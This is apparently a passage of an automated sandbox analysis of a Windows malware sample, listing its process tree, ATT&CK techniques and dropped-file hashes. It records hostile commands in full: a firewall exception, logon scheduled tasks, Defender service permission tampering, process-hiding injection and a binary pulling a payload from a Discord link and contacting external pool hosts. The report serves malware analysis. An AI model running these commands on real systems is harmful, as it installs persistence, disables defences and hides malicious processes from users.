111 PID 3188 wrote to memory of 1100 3188 csrss.exe 111 PID 3188 wrote to memory of 2684 3188 csrss.exe 113 PID 3188 wrote to memory of 2684 3188 csrss.exe 113 PID 3188 wrote to memory of 2684 3188 csrss.exe 113 PID 3188 wrote to memory of 2476 3188 csrss.exe 115 PID 3188 wrote to memory of 2476 3188 csrss.exe 115 PID 3188 wrote to memory of 2476 3188 csrss.exe 115 PID 3188 wrote to memory of 3064 3188 csrss.exe 117 PID 3188 wrote to memory of 3064 3188 csrss.exe 117 PID 3188 wrote to memory of 3064 3188 csrss.exe 117 PID 3188 wrote to memory of 2536 3188 csrss.exe 119 PID 3188 wrote to memory of 2536 3188 csrss.exe 119 PID 3188 wrote to memory of 2536 3188 csrss.exe 119 PID 3188 wrote to memory of 1472 3188 csrss.exe 121 PID 3188 wrote to memory of 1472 3188 csrss.exe 121 PID 3188 wrote to memory of 1472 3188 csrss.exe 121 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Users\Admin\AppData\Local\Temp\a755be716f1c73adcb302a455f2fcaf23e6103e556dc841104e7fc0ac697cd14.exe"C:\Users\Admin\AppData\Local\Temp\a755be716f1c73adcb302a455f2fcaf23e6103e556dc841104e7fc0ac697cd14.exe"1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3660 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4136
-
-
C:\Users\Admin\AppData\Local\Temp\a755be716f1c73adcb302a455f2fcaf23e6103e556dc841104e7fc0ac697cd14.exe"C:\Users\Admin\AppData\Local\Temp\a755be716f1c73adcb302a455f2fcaf23e6103e556dc841104e7fc0ac697cd14.exe"2⤵
- Windows security bypass
- Windows security modification
- Adds Run key to start application
- Checks for VirtualBox DLLs, possible anti-VM trick
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1424 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile3⤵
- Drops file in System32 directory
- Command and Scripting Interpreter: PowerShell
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1344
-
-
C:\Windows\System32\cmd.exeC:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"3⤵
- Suspicious use of WriteProcessMemory
PID:1944 -
C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes4⤵
- Modifies Windows Firewall
PID:344
-
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile3⤵
- Drops file in System32 directory
- Command and Scripting Interpreter: PowerShell
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4952
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile3⤵
- Drops file in System32 directory
- Command and Scripting Interpreter: PowerShell
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2584
-
-
C:\Windows\rss\csrss.exeC:\Windows\rss\csrss.exe3⤵
- Executes dropped EXE
- Adds Run key to start application
- Manipulates WinMonFS driver.
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3188 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile4⤵
- Drops file in System32 directory
- Command and Scripting Interpreter: PowerShell
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2136
-
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F4⤵
- Creates scheduled task(s)
PID:5084
-
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /delete /tn ScheduledUpdate /f4⤵PID:4628
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile4⤵
- Drops file in System32 directory
- Command and Scripting Interpreter: PowerShell
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3140
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile4⤵
- Drops file in System32 directory
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1956
-
-
C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exeC:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe taskmgr.exe C:\Users\Admin\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll4⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:4820
-
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F4⤵
- Creates scheduled task(s)
PID:1692
-
-
C:\Windows\windefender.exe"C:\Windows\windefender.exe"4⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:5096 -
C:\Windows\SysWOW64\cmd.execmd.exe /C sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)5⤵
- Suspicious use of WriteProcessMemory
PID:4564 -
C:\Windows\SysWOW64\sc.exesc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)6⤵
- Launches sc.exe
- Suspicious use of AdjustPrivilegeToken
PID:3888
-
-
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile4⤵
- Drops file in System32 directory
- Command and Scripting Interpreter: PowerShell
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:1100
-
-
C:\Users\Admin\AppData\Local\Temp\csrss\dcb505dc2b9d8aac05f4ca0727f5eadb.exeC:\Users\Admin\AppData\Local\Temp\csrss\dcb505dc2b9d8aac05f4ca0727f5eadb.exe -xor=al2xoqueel0She4t -m=https://cdn.discordapp.com/attachments/1225871855328559147/1225878907014615161/kVYazCOZSwqudV?ex=6622bbb3&is=661046b3&hm=c80160577fcc82f0e337c537bdd214d60583ed75bb187a016d90f94471fc09b0& -pool tls://showlock.net:40001 -pool tls://showlock.net:443 -pool tcp://showlock.net:804⤵
- Executes dropped EXE
PID:2684
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile4⤵
- Drops file in System32 directory
- Command and Scripting Interpreter: PowerShell
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:2476
-
-
C:\Users\Admin\AppData\Local\Temp\csrss\713674d5e968cbe2102394be0b2bae6f.exeC:\Users\Admin\AppData\Local\Temp\csrss\713674d5e968cbe2102394be0b2bae6f.exe4⤵
- Executes dropped EXE
PID:3064
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile4⤵
- Drops file in System32 directory
- Command and Scripting Interpreter: PowerShell
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:2536
-
-
C:\Users\Admin\AppData\Local\Temp\csrss\1bf850b4d9587c1017a75a47680584c4.exeC:\Users\Admin\AppData\Local\Temp\csrss\1bf850b4d9587c1017a75a47680584c4.exe4⤵
- Executes dropped EXE
PID:1472
-
-
-
-
C:\Windows\windefender.exeC:\Windows\windefender.exe1⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
PID:4248
Network
MITRE ATT&CK Enterprise v15
Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
1B
MD5c4ca4238a0b923820dcc509a6f75849b
SHA1356a192b7913b04c54574d18c28d46e6395428ab
SHA2566b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b
SHA5124dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a
-
Filesize
2.0MB
MD51bf850b4d9587c1017a75a47680584c4
SHA175cd4738ffc07f203c3f3356bc946fdd0bcdbe19
SHA256ac470c2fa05a67dd03cdc427e9957e661cd0ec7aecd9682ddb0b32c5cfc18955
SHA512ed57be8c5a982bcbf901c2b035eb010e353508e7c7df338adc6e5c307e94427645e5f5ec28667fd861420b9411b4ade96ea6987519ed65e6c1d905b6eadfce08
-
Filesize
2.8MB
MD5713674d5e968cbe2102394be0b2bae6f
SHA190ac9bd8e61b2815feb3599494883526665cb81e
SHA256f724b2849e7dc38bf62114c11092020073bea509e2bc57dea7a94a2fc9c23057
SHA512e9fba80067ac39d5907560abd044bb97dfcf078db2b6696ff4ca5990d9803a0c24b39d04e05682ac3dac8bc472e2ee0c573a46514e907f4d9673d4e7a76caafb
-
Filesize
2.0MB
MD5dcb505dc2b9d8aac05f4ca0727f5eadb
SHA14f633edb62de05f3d7c241c8bc19c1e0be7ced75
SHA25661f9194b9f33611ec902f02755cf2e86f0bbc84c2102c6e5d1874f9bae78e551
SHA51231e1fce9aca3b5d9afc85640af04b4542b9897f7d60b699e3153516137d9358d3c101cacc04e9e594e36b8622e9489cecf0dda210662563565d80fb9a33549b3
-
Filesize
281KB
MD5d98e33b66343e7c96158444127a117f6
SHA1bb716c5509a2bf345c6c1152f6e3e1452d39d50d
SHA2565de4e2b07a26102fe527606ce5da1d5a4b938967c9d380a3c5fe86e2e34aaaf1
SHA512705275e4a1ba8205eb799a8cf1737bc8ba686925e52c9198a6060a7abeee65552a85b814ac494a4b975d496a63be285f19a6265550585f2fc85824c42d7efab5
-
C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
Filesize2KB
MD51c19c16e21c97ed42d5beabc93391fc5
SHA18ad83f8e0b3acf8dfbbf87931e41f0d664c4df68
SHA2561bcd97396c83babfe6c5068ba590d7a3f8b70e72955a9d1e4070648e404cbf05
SHA5127d18776d8f649b3d29c182ff03efc6cea8b527542ee55304980f24577aae8b64e37044407776e220984346c3998ace5f8853afa58c8b38407482a728e9495e0c
-
C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive
Filesize18KB
MD59bf2752a67f46ebed8f951ef38156203
SHA1d8e2b5d26ec79950784a397ec550c9e8e6c631df
SHA256ef7d30cbe1d529c302465235c6163243043b3b11413e9617c2a650373220a8d8
SHA512d9724eb00b1067b8cfbcf137d943ef2f4687d0b32e772710a8d4524b886ae6f15478a26f42bb2cb8e3abe0193cbf6f059c246c21829ae8e34091eea5c4a6c5a6
-
C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive
Filesize18KB
MD5b1315c8cd32bdbe4b7d23f23a7113fbf
SHA1a80fcd2c90be4e29c0ea208f826013e0ec34bd8c
SHA256e6b7048657fda4f80200c7d2b58c465067606da4e6500bcb93091cbf34b594a2
SHA5126f354fef5fb0fbaf0afca734b6422fc756f87a9990fd6dc30e79916e79dde9b42de695fdc75503cc71bbd130c5d846179b1d3da5e3c4a764d5d905dbf049a97d
-
C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive
Filesize18KB
MD5ba2e394943395096ee2be8d52e564b33
SHA1909c61c1bb387d913802fda15807758020ed9220
SHA256bdca617044a4a2c1e4b0fdba01b387fa9c3c221a2bfa3bd5d8db2c2d510ef3a1
SHA5128957e1f9702351cb1b7795e1b24ab2decf48096a6feda7b7895525de0cab678dfff440f597ad05b3d800723ac08ca1290d713a2d54aedd85d8650d70f36ecc6e
-
C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive
Filesize18KB
MD53654785da050a5633c65768a48c323a4
SHA12b8a3d1ee044cc0b037f7337d3bd43f71c83d504
SHA25692b62e94b4fb185e15240b86a5a4dddfe66e5ee68fd6c7c744e2c533fc71217a
SHA51284e2b54a399c6e923cbe9b162f31f56d2bed8a0e6aa2c2a1285ac72d32c2f85f2d5e05a7f49580fe39620c9e7d5167fbc1a021c7b8138fa37ee3e59dd95a5018
-
C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive
Filesize18KB
MD519f7a69cd70108ad4723d8fc9c08efe6
SHA11f1e1ebc79242f9b6a8232e5096f67b1bc845f8b
SHA256d60783500b25eba30c1a7778e479d7423a26a6ffe7bed9d1bbfe2ef4c43bcec4
SHA51244fc25f9cad48f8fb5965475dacccaaedc44a0f3fb5679be60256248e9da4e0d2d63ab9800d63abd7124faf4c7320451629654363c6f77498545d6137909ffb4
-
C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive
Filesize18KB
MD59c83b98266824db9c8b906fc0409003b
SHA10d1dc5f4f9b6ecdc21ebcf5a6ff21ea3e73cfd5a
SHA256a8bcaba1a000bc7d406c4939a79b57062e30f073c5c80723e25a3adbf06dc81c
SHA512814c226d49a5cb221a9bbe57f5a154b5918d3e27ee781f926352be132d2397378eb8a8ecf090069b847b8cd551a2a7d67f7aac0b79173ba476f9be1bb195cbe6
-
C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive
Filesize18KB
MD5882c7357c6527f688c9a214348f2dfd4
SHA1409385d5ca093b52c2c778fd14bb016e1633f322
SHA256fbcc6faf09ec828e19eaa819dca41d2e18a323113130402c1b220304be014110
SHA51225994e4dfedf6008624a5dc9fbe7499fd0cd27bf02aed0a6b60d023f361f7bade0ccd80dceea699ccd52801b36ae991758f6db9860a9a2cfc2d802a3f8295221
-
C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive
Filesize18KB
MD58f937d8d9aeb137443141f9df7386375
SHA1f409728c37df6fb39aa6b1431b6d9d7b3afefc60
SHA256051b0b2328637fc956dc5dc2e58f93d17af0949a1f4c232dbb11a38313442f57
SHA512ae5bed66782edf245164062e6d830e6160ad891d0ffad2220045665d4424efcd5f2005b4e53ec31394605e21472313ecd332322b5b1f598845a540a417a4db93
-
Filesize
4.2MB
MD50889b956c743e72a576267cecf611efb
SHA1929cc7729bbdb623d56d3e99e1a27d5d7e28163d
SHA256a755be716f1c73adcb302a455f2fcaf23e6103e556dc841104e7fc0ac697cd14
SHA51235314ad1ffdfd1f65abba8fed97ccf371e62bbfb2e06d63e0ca2002fd401b54c0fcab50f3edf3ffe5def1f52cd1bf4ea46b1929635991d169c331e322de41786
-
Filesize
2.0MB
MD58e67f58837092385dcf01e8a2b4f5783
SHA1012c49cfd8c5d06795a6f67ea2baf2a082cf8625
SHA256166ddb03ff3c89bd4525ac390067e180fdd08f10fbcf4aadb0189541673c03fa
SHA51240d8ae12663fc1851e171d9d86cea8bb12487b734c218d7b6f9742eb07d4ca265065cbd6d0bb908f8bda7e3d955c458dfe3fd13265bbf573b9351e0a2bf691ec